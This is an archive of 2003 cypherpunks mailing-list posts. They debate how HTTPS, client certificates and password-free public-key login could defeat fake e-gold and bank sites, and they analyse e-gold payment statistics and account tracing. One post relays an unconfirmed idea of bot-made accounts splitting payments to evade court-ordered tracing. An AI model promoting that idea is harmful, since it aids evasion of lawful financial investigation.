I don't think this problem is easier to solve (or at least I sure don't 
know how to solve it). It seems to me that you could tell a user every time 
they go to a new site that it's a new site, and hope that users would 
recognize that e-g0ld.com shouldn't be "new", since they've been there 
before. However, people go to a large enough number of sites that they'd be 
seeing the "new" alert all the time, which leads me to believe that it 
wouldn't be taken seriously.

Fundamentally, making sure that people's perception of the identity of a 
web site matches the true identity of the web site has a technical 
component that is, at most, a small fraction of the problem and solution. 
Most of it is the social question of what it means for the identity to 
match and the UI problem of determining the user's intent (hard one, that), 
and/or allowing the user to easily and reliably match their intent against 
the "reality" of the true "identity".

Any problem that has as a component the fact that the glyphs for 
"lower-case L" and "one" look pretty similar isn't going to be easy to 
solve technologically.

  - Tim




From jamesd at echeque.com  Fri Jun  6 16:24:44 2003
From: jamesd at echeque.com (James A. Donald)
Date: Fri, 6 Jun 2003 16:24:44 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <4.2.2.20030604174233.00cace00@mail.earthlink.net>
References: <3EDE1D78.2422.1B4777E6@localhost>
Message-ID: <3EE0C04C.32242.2594192F@localhost>

    --
On 4 Jun 2003 at 20:58, Anne & Lynn Wheeler wrote:
> it is relatively trivial to demonstrate that public keys can
> be registered in every business process that currently
> registers shared- secrets (pins, passwords, radius, kerberos,
> etc, etc)

I don't think so.

Suppose the e-gold, to prevent this sea of spam trying to get
people to login to fake e-gold sites, wanted people to use
public keys instead of shared secrets, making your secret key
the instrument that controls the account instead of your shared
password.

They could not do this using the standard IE webbrowser.  They
would have to get users to download a custom client, or at
least, like hushmail, a custom control inside IE.

HTTPS assumes that the certificate shall be blessed by the
administrator out of band, and has no mechanism for using a
private key to establish that a user is simply the same user as
last time. 

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     q1a1Whb1YeRws7qoDm6h15qfDstFHciUyP2I4fte
     42lCFXf0IqXfh5Mz2mFtznxv6N40EuqpKvQJhLBgS




From jamesd at echeque.com  Fri Jun  6 17:24:55 2003
From: jamesd at echeque.com (James A. Donald)
Date: Fri, 06 Jun 2003 17:24:55 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <6.0.0.9.2.20030606145813.04ac4850@127.0.0.1>
References: <3EDE43EB.29325.1BDDA647@localhost>
Message-ID: <3EE0CE67.32442.25CB3263@localhost>

    --
James A. Donald:
> > Certificate caching is not the problem that needs solving.
> > The problem is all this spam attempting to fool people into
> > logging in to fake BofA websites and fake e-gold websites,
> > to steal their passwords or credit card numbers

On 6 Jun 2003 at 15:04, Tim Dierks wrote:
> I don't think this problem is easier to solve (or at least I
> sure don't know how to solve it).

It is a hard problem with many well known solutions, none of
which have to my knowledge been implemented in HTTPS.  For
example one can use SPEKE, in which case setting up the account
involves sharing (or issuing) a password, but logging in to the
account does not require one to reveal the password to the site
where one is logging in.   In this case the fake website would
gain no useful information by luring the user to login to it.

The most HTTPS like solution would be to generate a keyfile
containing a self signed private key on one's computer, and
whenever one hit the website, it would do the HTTPS handshake
to log you in to that website's account for the public key
corresponding to your private key, however HTTPS does not seem
to directly support this model.   In this case the bogus web
site could log you in, but this would not leak any information
that would enable the operators of the bogus web site to login
to the real web site. 

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     /JhekrYM+sQCMQKXhiWzhB3RnOv6PZROgxYwprXj
     4LHJfuGlcn7fO4tcfo20/t0cdEy/HyK++XiBVvMFy


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From shaddack at ns.arachne.cz  Fri Jun  6 08:26:03 2003
From: shaddack at ns.arachne.cz (Thomas Shaddack)
Date: Fri, 6 Jun 2003 17:26:03 +0200 (CEST)
Subject: SIGINT planes vs. radioisotope mapping
In-Reply-To: <F504A8CEE925D411AF4A00508B8BE90A0558D0E7@exna07.securitydy
  namics.com>
Message-ID: <Pine.LNX.4.33.0306061724230.17-100000@Zeta>

On Wed, 4 Jun 2003, Trei, Peter wrote:

> It appears that they can't tell the medical isotopes from others....

They have no chance to distinguish isotope type with just a plain Geiger.
For an identification, they would need a gamma spectrometer, which is a
toy that AFAIK is not yet portable and cheap enough for mass deployment.




From lynn at garlic.com  Fri Jun  6 16:45:35 2003
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Fri, 06 Jun 2003 17:45:35 -0600
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EE0C04C.32242.2594192F@localhost>
References: <4.2.2.20030604174233.00cace00@mail.earthlink.net>
 <3EDE1D78.2422.1B4777E6@localhost>
Message-ID: <4.2.2.20030606173139.03505100@mail.earthlink.net>

At 04:24 PM 6/6/2003 -0700, James A. Donald wrote:

>I don't think so.

??? public key registered in place of shared-secret?

NACHA debit trials using digitally signed transactions did it with both 
software keys as well as hardware tokens.
http://internetcouncil.nacha.org/News/news.html
in the above scroll down to July 23, 2001 ... has pointer to detailed report?

X9.59 straight forward establishes it as standard .... with some activity 
moving on to ISO
http://www.garlic.com/~lynn/index.html#x959

pk-init draft for kerberos specifies that public key can be registered in 
place of shared secret.

following has demo of it with radius with public keys registered in place 
of shared-secret.
http://www.asuretee.com/
the radius implementation has been done be a number of people.

in all of these cases, there is change in the business process and/or 
business relationship .... doesn't introduce totally unrelated parties to 
the business activities. the is digital signing on the senders side 
(actually a subset of existing PKI technology) and digital signature 
verification on the receivers side (again a subset of existing PKI 
technology). To the extent that there is impact on existing business 
process ... it is like in the case of introducing x9.59 authentication for 
credit transactions that have relatively little authentication currently 
.... and as a result would eliminate major portion of the existing credit 
card transaction related fraud.

The big issue isn't the availability of the technology ... although there 
is a slight nit in the asuretee case being FIPS186-2, ecdsa .... and having 
support in CAPI and related infrastructures. It not working (easily) is 
like when my wife and I were doing the original payment gateway .... with 
this little client/server startup in menlo park (later moved to mountain 
view and have since been bought by AOL) and people saying that SSL didn't 
exist ... misc ref from the past
http://www.garlic.com/~lynn/aadsm5.htm#asrn2
http://www.garlic.com/~lynn/aadsm5.htm#asrn3

--
Anne & Lynn Wheeler    http://www.garlic.com/~lynn/
Internet trivia 20th anv http://www.garlic.com/~lynn/rfcietff.htm
   
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From iang at systemics.com  Fri Jun  6 15:08:34 2003
From: iang at systemics.com (Ian Grigg)
Date: Fri, 06 Jun 2003 18:08:34 -0400
Subject: Maybe It's Snake Oil All the Way Down
References: <200306040432.h544WNQ03298@medusa01.cs.auckland.ac.nz>
  <20030604074048.A13661@slack.lne.com> <sjmisrkoxmp.fsf@kikki.mit.edu>
Message-ID: <3EE110E2.F2DA76AB@systemics.com>

Derik asks the pertinant question:
> The question is:  how do we convince M$ and Netscape to include something
> else in their software?  If it's not supported in IE, then it wont be
> available to the vast majority of users out there.

My view, again, IMHO:  ignore Microsoft.  Concentrate
on the open source solutions:  KDE, Mozilla, Apache.

These groups will always lead in security, because
they are not twisted by institutional conflicts;
they can examine historical security model from the
point of view of interested professionals, rather
than commercial actors trying to preserve this or
that revenue stream.

The trick is to understand whether HTTPS as it
currently is can be improved.  If it can, then
those above guys can do it.

Once the improvements are shown to work, Microsoft
will follow along.  They are a follower company,
not an innovator, and they need to see it work in
practice before doing anything.  As Derik suggests,
the vast majority of users will have to wait.

Along those lines, there's one piece of excellent
news:

Eric Rescorla wrote:
> One can simply cache the certificate, exactly as
> one does with SSH. In fact, Mozilla at least does exactly
> this if you tell it to.

That's fantastic!  I never knew that.  How does one
set that option on Mozilla?  (I'm using 5.0 / 1.3.1.)

-- 
iang




From hseaver at cybershamanix.com  Fri Jun  6 16:44:54 2003
From: hseaver at cybershamanix.com (Harmon Seaver)
Date: Fri, 6 Jun 2003 18:44:54 -0500
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EE110E2.F2DA76AB@systemics.com>
References: <200306040432.h544WNQ03298@medusa01.cs.auckland.ac.nz>
  <20030604074048.A13661@slack.lne.com> <sjmisrkoxmp.fsf@kikki.mit.edu>
  <3EE110E2.F2DA76AB@systemics.com>
Message-ID: <20030606234454.GA14383@cybershamanix.com>

On Fri, Jun 06, 2003 at 06:08:34PM -0400, Ian Grigg wrote:
> Derik asks the pertinant question:
> > The question is:  how do we convince M$ and Netscape to include something
> > else in their software?  If it's not supported in IE, then it wont be
> > available to the vast majority of users out there.
> 
> My view, again, IMHO:  ignore Microsoft.  Concentrate
> on the open source solutions:  KDE, Mozilla, Apache.

   Mozilla already has a pretty neat interface to gnupg, called Enigmail. See 
http://enigmail.mozdev.org/

-- 
Harmon Seaver	
CyberShamanix
http://www.cybershamanix.com




From jal at jal.org  Fri Jun  6 19:08:57 2003
From: jal at jal.org (Jamie Lawrence)
Date: Fri, 6 Jun 2003 21:08:57 -0500
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EE0C04C.32242.2594192F@localhost>
References: <3EDE1D78.2422.1B4777E6@localhost>
  <3EE0C04C.32242.2594192F@localhost>
Message-ID: <20030607020857.GA18513@jal.clueinc.net>

On Fri, 06 Jun 2003, James A. Donald wrote:

> Suppose the e-gold, to prevent this sea of spam trying to get
> people to login to fake e-gold sites, wanted people to use
> public keys instead of shared secrets, making your secret key
> the instrument that controls the account instead of your shared
> password.

Why does e-gold have any interest in what people do on other sites?
 
> HTTPS assumes that the certificate shall be blessed by the
> administrator out of band, and has no mechanism for using a
> private key to establish that a user is simply the same user as
> last time. 

Yes. There's a virtue there. Knowing a secure channel exists is
frequently more important than who is on the other line. For example,
What's my favorite brand of lighter?


You live in a Bob's cold, dark cave, where you hate life. Insert water
dripping and scabs until you're amused. You have the chance to contact,
and maybe move to, Alice's bright, warm cave. Sounds good to you. How to
authenticate the offer?

Replay various notions of various fiction writers, here.

The problem is interesting. Solved, but interesting. Very few folks have
reason to help you authenticate them. Deal.

Even if people don't understand what https (and ssl) do, they still
serve a purpose. Even if it isn't the one you wanted solved. And if
there were a problem worth solving, would it be unsolved?

I'll refrain from asking how many people use digsigs, and what that
solves. Only because that's rude.

None of this solves life for average banking customers, but I think
"this" is something that "they" are willing to ignore. Most people seem
to trust one another. What do you do?

-j

-- 
Jamie Lawrence                                        jal at jal.org
"The sign that points to Boston doesn't have to go there."
   - Max Scheler




From daw at mozart.cs.berkeley.edu  Fri Jun  6 17:52:27 2003
From: daw at mozart.cs.berkeley.edu (David Wagner)
Date: 7 Jun 2003 00:52:27 GMT
Subject: Maybe It's Snake Oil All the Way Down
References: <5.2.0.9.0.20030603175734.045fa8b0@pop.ix.netcom.com>
  <5.2.0.9.0.20030603175734.045fa8b0@pop.ix.netcom.com>
  <5.2.0.9.0.20030604180546.04576990@pop.ix.netcom.com>
  <3EE0DDAC.20912752@systemics.com>
Message-ID: <bbrd0b$nfg$1@abraham.cs.berkeley.edu>

Ian Grigg  wrote:
>(Similar to GSM's.  That is hard to attack,
>there is AFAIR no 'trival' attack, [...]

Just wait a little while.

By the way, one can already buy fake base stations that
mount man-in-the-middle attacks on GSM as a way to eavesdrop
on GSM calls.  It's off the shelf, but it costs ridiculous
amounts of money.

>Now, it seems that the US standards didn't get
>even that.

Right.  The major barrier is the need for a digital
scanner (which indeed is a major barrier against certain
threat models, but not a barrier for other threat models).

>And, market forces
>and all that, one would think that this would
>happen in due course.

I'm less optimistic.  Market forces being what they are,
one would expect that one would quickly get cellphones that
are *claimed* and *perceived* to be more secure, regardless
of their true merits or demerits.

Oh wait, that already happened.




From davidson at net1.net  Sat Jun  7 02:03:02 2003
From: davidson at net1.net (Jim Davidson)
Date: Sat, 7 Jun 2003 04:03:02 -0500
Subject: Micropayments and the incentive program at e-gold
In-Reply-To: <p05100313bb06c03d7ee4@[10.0.1.3]>
Message-ID: <D7B0B43F-98C6-11D7-B7EB-000393B96BDA@net1.net>

Dear Friends,

James A. Donald points out that tens of thousands of
micropayments are being made on the e-gold system
every day.  If we assert that less than a tenth of
a gram of gold is a micropayment, then the web page
http://www.e-gold.com/stats.html
gives us some information.

  Spend size  quantity      value involved
0 mg - 1 mg     6959      (Total: 5.60 g)
1 mg - 10 mg    4854      (Total: 23.73 g)
10 mg - 100 mg 21825      (Total: 1.04 kg)

A question arises, where do these events come
from?  Mr. Donald offers the thought that the
spends involve the e-gold incentive program, but
thinks some other activities such as per-click
micropayments for banner ads might be involved.
He writes, "Some proportion of these payments must
be e-gold's own referral scheme." JP May offers the
thought that the HYIP or "neoteric gaming" or, in
my view, Ponzi scheme activity may be the major factor.

Let's talk a bit about those events.  Every time
a spend takes place at e-gold.com, there are
several activities which report through.  First,
an account holder authorizes a spend of metal
(we'll stick with gold in this example) from his
account to another account.  Second, e-gold.com
records a "payment receive fee" against the
account of the person receiving the payment in
the amount of 1% of the amount spent, capped at
50 cents.  Third, e-gold.com captures half of
this receive fee and divides the other half between
two other accounts: the account which sponsored
the spender and the account which sponsored the
receiver.

However, I don't believe that payment receive fees,
spender-sponsor incentive fees, or receiver-sponsor
incentive fees can be involved in *any* of these
micropayments.  Why not?  If that were true, then
every user initiated spend event would generate two
or three automatic spend events on the e-gold system.
A user-initiated spend would generate two auto-spends
in the form of incentive fees to the sponsors of the
spender and the receiver.  It would generate those
two plus a payment receive fee spend to the e-gold
account.  However, that would only represent the
situation if the number of e-gold spends were always
evenly divisible by three or four.  Since the number
of spends I see right now is 72470, and that number
isn't evenly divisible by three nor by four, I
think the incentive program cannot be involved in
the "spends" figure.

Help me out here, Jay Wherley or Jim Ray, if you
would, since you guys at e-gold know the whole
story.  I think "spends" is user-initiated events,
and that *none* of the incentive payments are
counted as spends.  That makes sense, since if
the incentive payments were "spends" on the e-gold
system, they would incur payment receive fees,
and generate further incentive fees, in a rather
recursive fashion - an infinite loop.  What's
more, they would show up in "payments received"
in the account history, whereas they show up
only in the "incentive fees" history. And, the
number of spends, if incentive fees are counted,
would have to be invariably a number evenly
divisible by three, which is not the case in
the instance cited here.  So, it is just a total
non-starter.  The e-gold incentive program is not
a part of the "spends" figure on the stats.html
page at e-gold.com.

Next we have to ask whether micropayments arise
as a part of the Ponzi activities.  That may be
true, since we can suppose that Ponzi operators
would want to provide incentive payments to these
jerks who violate the e-gold user agreement and
keep sending spam around.  If there were not
incentive fees paid to spammers, there would be
no reason for the spammers to spam, QED.  Thus,
I suppose that if a Ponzi scheme takes in, say,
$25, it pays out to the referrer some fee like
$1 or twenty-five cents.  I'd have to be a lot
more interested in Ponzis to do the research on
this matter.  Based on the fact that spams which
promote Ponzis are sent out, even though the
account holder risks losing his account if the
spam is reported to abuse at e-gold.com (see the
account user agreement), then there must be
some sort of incentive payment involved.  As
the spams are a form of advertising, and as
there are probably opt-in lists for Ponzis
and web sites describing various Ponzis, I do
agree with Mr. Donald that "these are mostly
... payments for ads" though I suspect they
are on a commission-only basis rather than on
a per-click-through basis in most instances.

Finally, we have the question of "anonymity."
Mr. Donald says, "These are non anonymous, in that
e-gold can link payer to payee, but anonymous in
that it laborious to link e-gold account numbers
to true names."  I agree with the first half of
this comma splice sentence.  These payments are
not anonymous.  The payer knows whose account is
being paid, and the payee knows where the payment
came from.

Since the e-gold.com system records an account
history, and since those records are kept in one
of the most litigious jurisdictions on Earth
(the USA), any prosecutor or defense attorney
or other party equipped with a court order can
get account histories.  There is no privacy to
the system, certainly not in comparison to a
wholly offshore-hosted system like GoldMoney.com
or 1MDC.

However, there is the e-gold.com registration
process, which allows anyone with a working e-mail
address to get set up with an e-gold account.
Thus, accounts may be pseudonymous, or opened
with a pseudonym.  They might even be opened
with fake IDs or the like, depending on what
sort of due diligence gets imposed by e-gold.com.

Nevertheless, pseudonyms can be penetrated. Not
easily, as Mr. Donald points out, but with some
effort, I think.  That's especially true where
some exchange provider converts one of the e-gold
account holder's gold to some other form of funds.
The payment to the exchanger is in the e-gold
account history.  Most exchangers have web sites
where there locations can be found, and all can
be located by anyone offering to buy gold from
an exchanger because some coordinates for a
wire or a money order are going to be forthcoming.

Then it is only a matter of a court order to
get that exchanger's record of where the payment
was sent.  Even if that is only an intermediary
account, further record searches can be
undertaken to track the pseudonym back to some
individual.  Of course, if the account holder
uses an exchanger in a different jurisdiction,
or runs several accounts in series so that there
is an e-gold > exchanger > bank > e-gold >
exchanger > bank series before the recipient
gets his funds, the problem can be made more
difficult, especially if the exchangers and banks
in the series are in different countries.

Finally, I suspect that a large percentage,
perhaps 20% of all spends involve an exchange
provider.  Given that the total inventory of
e-gold turns over in less than a week, I think
a lot of account holders are replenishing their
accounts with gold from exchangers.  Some
exchangers may be paying incentive fees, too.

Regards,

Jim
  http://www.ezez.com/




From anonymous at remailer.metacolo.com  Fri Jun  6 23:06:29 2003
From: anonymous at remailer.metacolo.com (Anonymous Sender)
Date: Sat,  7 Jun 2003 06:06:29 +0000 (UTC)
Subject: Maybe It's Snake Oil All the Way Down
Message-ID: <096f579cc569b417609782e2a26e7a64@remailer.metacolo.com>

James A. Donald writes:
> Suppose the e-gold, to prevent this sea of spam trying to get 
> people to login to fake e-gold sites, wanted people to use 
> public keys instead of shared secrets, making your secret key 
> the instrument that controls the account instead of your shared 
> password. 
>
> They could not do this using the standard IE webbrowser. They 
> would have to get users to download a custom client, or at 
> least, like hushmail, a custom control inside IE. 

Why do you say that?  You were already given pointers to how they
could configure their web servers to use certificate based client
authentication.  These techniques work with standard browsers.  I have
used Netscape to access corporate-internal sites which required me to
have a client certificate.

> HTTPS assumes that the certificate shall be blessed by the 
> administrator out of band, and has no mechanism for using a 
> private key to establish that a user is simply the same user as 
> last time.

HTTPS is just HTTP over SSL/TLS.  It says nothing about the trust model
for the certificates; it merely specifies how each side can deliver its
cert(s) to the other side.  Deciding which ones to trust is out of scope
for TLS or HTTPS.

E-Gold could set things up to allow its customers to authenticate with
certs issued by Verisign, or with considerably more work it could even
issue certs itself that could be used for customer authentication.
Why doesn't it do so?  Well, it's a lot of work, and it would have some
disadvantages - for one thing, customers would have difficulty accessing
their accounts from multiple sites, like at home and at work.  Further,
it would require customers to use some features of their browser that most
of them have never seen, which is going to be difficult and error-prone
for most users.




From jrw at e-gold.com  Sat Jun  7 06:19:33 2003
From: jrw at e-gold.com (Jay W.)
Date: Sat Jun 7, 2003  06:19:33 US/Central
Subject: [dgc.chat] Micropayments and the incentive program at 
Message-ID: <mailman.735.1576007633.31620.cypherpunks-legacy@lists.cpunks.org>

e-gold
Reply-To: <dgcchat at lists.goldmoney.com>

> I realize you have explained this at least 10 times, every time it
> comes up every few months, but I alwasy forget and like hearing it
> over and over :-)

then hopefully this post is a paroxysm of joy for you JP! ;) :

the deduction of the e-gold spend fee is not included in velocity 
numbers.
the distribution of any incentive payments per
http://www.e-gold.com/unsecure/incentive.htm
is not included in velocity numbers. the *only* thing counting as a 
"spend"
in "e-metal spends" is an e-metal spend (aka payment) from one account 
to
another initiated by a user doing one of:
a) manually signing into his account and performing a "Spend"
b) checking out at a merchant using e-gold SCI
c) using phone access to make a spend
d) using a program and the e-gold Automation Interface to make a spend

those velocity numbers are totals for the amounts users are spending
to other users. they do not include any other thing like fees, storage
charges, or incentive payments.

http://stats.e-gold.com

possibly the most informative, accurate and timely economic statistics
on earth - possibly the universe!! ;)







subscribe: send blank email to dgcchat-join at lists.goldmoney.com
unsubscribe: send blank email to dgcchat-leave at lists.goldmoney.com
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From davidson at net1.net  Sat Jun  7 04:40:31 2003
From: davidson at net1.net (Jim Davidson)
Date: Sat, 7 Jun 2003 06:40:31 -0500
Subject: [dgc.chat] Micropayments and the incentive program at e-gold 
In-Reply-To: <D7B0B43F-98C6-11D7-B7EB-000393B96BDA@net1.net>
Message-ID: <D818172C-98DC-11D7-B7EB-000393B96BDA@net1.net>

Dear James,

Jay Wherley is the head tech guy at e-gold.com so
wwe can rely on his views below.  The incentive
payments and the payment receive fee are not
counted as "spends" for the statistics on the
e-gold.com/stats.html page.

One correspondent suggested to me that there may
be one or more "spread spectrum" accounts.  The
way such an account would work is that a 'bot
would create 10,000 e-gold accounts.  Other
software for bulk payments would be used to
spend one ten thousandth of each payment from
each of these accounts to the intended recipient.
Why do so?  Doing so would diversify the risk of
any one account being closed, make the process
of tracking the account history data much harder
for prosecutors and others with court orders,
and generally enhance privacy to some extent.

Of course, this idea was indicated as a chimera,
something that has been discussed but no one
knows if anyone has ever implemented it.

Meanwhile, I suggest a few games of poker at
  http://8715605.thegoldcasino.com

I hope this message has been helpful.  Jay's
detailed response below.

Regards,

Jim
  http://www.ezez.com/



From discord-nobody at erisiandiscord.de  Sat Jun  7 02:05:50 2003
From: discord-nobody at erisiandiscord.de (Anonymous)
Date: Sat, 7 Jun 2003 11:04:50 +0159 (CEST)
Subject: PGP8 paranoia ?
Message-ID: <0d11199429b0e2b56c586c9900e2777b@erisiandiscord.de>

PGP 8 on XP declares all public (encrypting) keys created by 2.6.2 in 1998 or earlier to have "revoked user ID" and will not encrypt with them.

1999 keys work.

A bug or strong keys ?




From jamesd at echeque.com  Sat Jun  7 12:43:39 2003
From: jamesd at echeque.com (James A. Donald)
Date: Sat, 7 Jun 2003 12:43:39 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <096f579cc569b417609782e2a26e7a64@remailer.metacolo.com>
Message-ID: <3EE1DDFB.12030.29F00BC5@localhost>

    --
James A. Donald:
> > Suppose the e-gold, to prevent this sea of spam trying to 
> > get people to login to fake e-gold sites, wanted people to 
> > use public keys instead of shared secrets, making your 
> > secret key the instrument that controls the account instead 
> > of your shared password.
> >
> > They could not do this using the standard IE webbrowser. 
> > They would have to get users to download a custom client, 
> > or at least, like hushmail, a custom control inside IE.

Anonymous
> Why do you say that?  You were already given pointers to how 
> they could configure their web servers to use certificate 
> based client authentication.

That is a solution to a completely different problem.  Using 
that method the administrator would have to set up each client, 
which is impractically expensive and inconvenient unless 
administrator and customer meet personally and their computers 
are in the same office.

The point is that the customer should be able to set himself 
up, as he does on e-gold, hotmail, hushmail, etc, and that if 
subsequently he is fooled into logging on to a fake site this 
should do no harm.

James A. Donald:
> > HTTPS assumes that the certificate shall be blessed by the 
> > administrator out of band, and has no mechanism for using a 
> > private key to establish that a user is simply the same 
> > user as last time.

Anonymous
> HTTPS is just HTTP over SSL/TLS.  It says nothing about the 
> trust model for the certificates; it merely specifies how 
> each side can deliver its cert(s) to the other side. Deciding
> which ones to trust is out of scope for TLS or HTTPS.

You cannot use https to implement the trust model that hotmail 
and everyone else uses.  In that sense it does say something 
about the trust model.  It assumes they are subject to 
hierarchical validation, which e-gold passwords and hotmail 
passwords are not.

hotmail passwords merely show it is the same guy logging in. 
You cannot use https to do this.  It is designed to show it is 
the guy blessed by the administrator logging in.

> E-Gold could set things up to allow its customers to 
> authenticate with certs issued by Verisign, or with 
> considerably more work it could even issue certs itself that 
> could be used for customer authentication. Why doesn't it do 
> so?

Because that is not the trust model they or hotmail want to 
implement.   They don't want true names, and they do not want, 
and cannot afford, the very great overheads associated with 
true names.

To implement the desired trust model, the client browser would 
need to generate the private key during account creation. 
E-gold would then record the corresponding public key.   You 
cannot do that with existing client software.

They do not want to turn their business model upside down to 
support verisign's profit model.   The problem is to implement
the existing model in a way that protects against the man in
the middle attack represented by this storm of fake sites. 

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     OPeQMye27fygWs3rNrP88mXXiOYU+xcVrAyLlBjO
     4+rppNlgtCDm9YfF1Wiqe//vrDa3kdlXpzatLpbhm


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From jamesd at echeque.com  Sat Jun  7 12:43:39 2003
From: jamesd at echeque.com (James A. Donald)
Date: Sat, 7 Jun 2003 12:43:39 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <4.2.2.20030606173139.03505100@mail.earthlink.net>
References: <3EE0C04C.32242.2594192F@localhost>
Message-ID: <3EE1DDFB.1093.29F00C33@localhost>

    --
On 6 Jun 2003 at 17:45, Anne & Lynn Wheeler wrote:
> ??? public key registered in place of shared-secret?
>
> NACHA debit trials using digitally signed transactions did it
> with both software keys as well as hardware tokens. 
> http://internetcouncil.nacha.org/News/news.html in the above
> scroll down to July 23, 2001 ... has pointer to detailed
> report?
>
> X9.59 straight forward establishes it as standard .... with
> some activity moving on to ISO
> http://www.garlic.com/~lynn/index.html#x959
>
> pk-init draft for kerberos specifies that public key can be
> registered in place of shared secret.
>
> following has demo of it with radius with public keys
> registered in place of shared-secret.
> http://www.asuretee.com/ the radius implementation has been
> done be a number of people.
>
> in all of these cases, there is change in the business
> process and/or business relationship

Precisely.  I am talking about direct substitution that should
be almost invisible to both parties, using private keys exactly
as passwords are used, except that the fake site trick fails.

In fact one can do a direct substitution that is almost
invisible to both parties, but it requires custom software on
both client and server. 

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     EWYCMfM1ZE4FqHNgG8Xxq4Raoo0u92HCJxUTm9d6
     4UkMVch4UVf7oFF6jEx+Nj5WJffMhrKnlz65qZyH1


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From jamesd at echeque.com  Sat Jun  7 13:50:19 2003
From: jamesd at echeque.com (James A. Donald)
Date: Sat, 7 Jun 2003 13:50:19 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <005f01c32d1f$70897ac0$01c8a8c0@DaveHowe>
Message-ID: <3EE1ED9B.11220.2A2D16C6@localhost>

    --
On 7 Jun 2003 at 19:05, Dave Howe wrote:
> issuing certs to someone is trivial from both a server and a 
> user endpoint - the user just gets a "click here to request 
> your key" and hits ok on a few dialog boxes; the server 
> simply hosts some pretty off-the-shelf cgi.
>[...]
> its surprisingly reliable and easy - particuarly if your end 
> users are just using the MS keystore, which requires them to 
> do no more than double-click the pkcs file and hit "next" a 
> few times.

This sounds more like what I was looking for.

Probably someone has already pointed out the url to this, but 
if they did, I when I looked at it I was snowed under by 
verisign oriented shit, which assumes a large budget and ample 
administrator time for face to face contact with certified 
people, a very small number of clients, some hours of work by
each client, a manual, user training, etc, and failed to grasp
it.

Could you point me somewhere that illustates server issued 
certs, certification with zero administrator overhead and small 
end user overhead?

Also, I have many times heard that public key operations were 
surprisingly easy, and have been key administrator for several 
companies, and have unfailingly found that I was the only 
person capable of doing these operations at that company. 

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     v6gZFuZoUgyGH55ME+JoilJSfw5LrufrbWWB454U
     4FhiB65yyXwp1RgeJrLADfEYBoqz0YAch8fJ0Fisp


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From measl at mfn.org  Sat Jun  7 16:23:10 2003
From: measl at mfn.org (J.A. Terranson)
Date: Sat, 7 Jun 2003 18:23:10 -0500 (CDT)
Subject: [OT] Re: Hitchens: The Cult of ID
In-Reply-To: <a060012bdbb07f51915e9@[66.149.49.6]>
Message-ID: <Pine.BSF.4.21.0306071813570.5196-100000@greeves.mfn.org>

Good Evening,
	From roughly 1985 to ~1997, I was a resident of Missouri (USA).  Now,
Missouri may well be a poster child for backwater living, but they had an
unusual thing to recommend them: they understood that a "Driver's
License" was somthing you got to prove you knew how to drive a car, rather
than something you got to drink beer and vote.  Presumable due to this
revelation, Missouri did not actually *require* either a photo or a social
security number for the issuance of a driver's license.  

	Anyone who had objection to the social security number was given a
different encoded "license number", and anyone who objected to the photo had
a red box in the corner with the words "PHOTO NOT REQUIRED" emblazoned across
it - you needed only to fill out the form which described the basis of your
objection(s).

	Even better was the State of New York, up until ~1983: no photo on
any license.  Just a piece of paper (no plastic at all) that said you knew
enough to drive.  Proving that the license belonged to *you*, and not someone
else, required actual *ID*!

	It's time we get back to the reality standard on these... 

-- 
Yours, 
J.A. Terranson
sysadmin at mfn.org




From pgut001 at cs.auckland.ac.nz  Fri Jun  6 23:42:06 2003
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Sat, 7 Jun 2003 18:42:06 +1200
Subject: Maybe It's Snake Oil All the Way Down
Message-ID: <200306070642.h576g6905737@medusa01.cs.auckland.ac.nz>

Derek Atkins <derek at ihtfp.com> writes:

>Actually, the ASN.1 part is a major factor in the X.509 interoperability
>problems.  Different cert vendors include different extensions, or different
>encodings.  They put different information into different parts of the
>certificate (or indeed the same information into different parts).  Does the
>FQDN for a server cert belong in the DN or some extension?  What about the
>email address for a user cert?

That doesn't really have anything to do with ASN.1 though.  You can make just
as big a mess with XML (actually even bigger, in my experience), or EDIFACT,
or whatever.  The problem isn't the bit-bagging format, it's that it's
accumulated such a mass of cruft that no two people can agree on what to put
in there.  Whether the resulting mess is wrapped in ASN.1 or XML or EDIFACT or
plastic pooper scooper bags doesn't really make any difference.

Peter.




From DaveHowe at gmx.co.uk  Sat Jun  7 11:05:53 2003
From: DaveHowe at gmx.co.uk (Dave Howe)
Date: Sat, 7 Jun 2003 19:05:53 +0100
Subject: Maybe It's Snake Oil All the Way Down
References: <096f579cc569b417609782e2a26e7a64@remailer.metacolo.com>
Message-ID: <005f01c32d1f$70897ac0$01c8a8c0@DaveHowe>

Anonymous Sender wrote:
> James A. Donald writes:
> E-Gold could set things up to allow its customers to authenticate with
> certs issued by Verisign, or with considerably more work it could even
> issue certs itself that could be used for customer authentication.
> Why doesn't it do so?  Well, it's a lot of work,
Nope. issuing certs to someone is trivial from both a server and a user
endpoint - the user just gets a "click here to request your key" and hits ok
on a few dialog boxes; the server simply hosts some pretty off-the-shelf
cgi.

> and it would have
> some disadvantages - for one thing, customers would have difficulty
> accessing their accounts from multiple sites, like at home and at
> work.
Not so much that as have a much bigger security issue. Maintaining keys
securely would then become a task for the client, and while keeping a
written password secret is something most people can handle the concept of,
keeping a block of computer data safe from random trojans while exporting it
to be transported between machines is much, much harder.
Of course, you *could* generate the key entirely locally on the server,
protecting it with a HTTPS download, and protect it with the enduser's
password (not sure how secure the PKCS password is - if it isn't, then use
some self-decoding-exe like the 7z one) but that still wouldn't force the
end user to do more than hit "import" and have it stored insecurely on their
client machine.

> Further,
> it would require customers to use some features of their browser that
> most of them have never seen, which is going to be difficult and
> error-prone for most users.
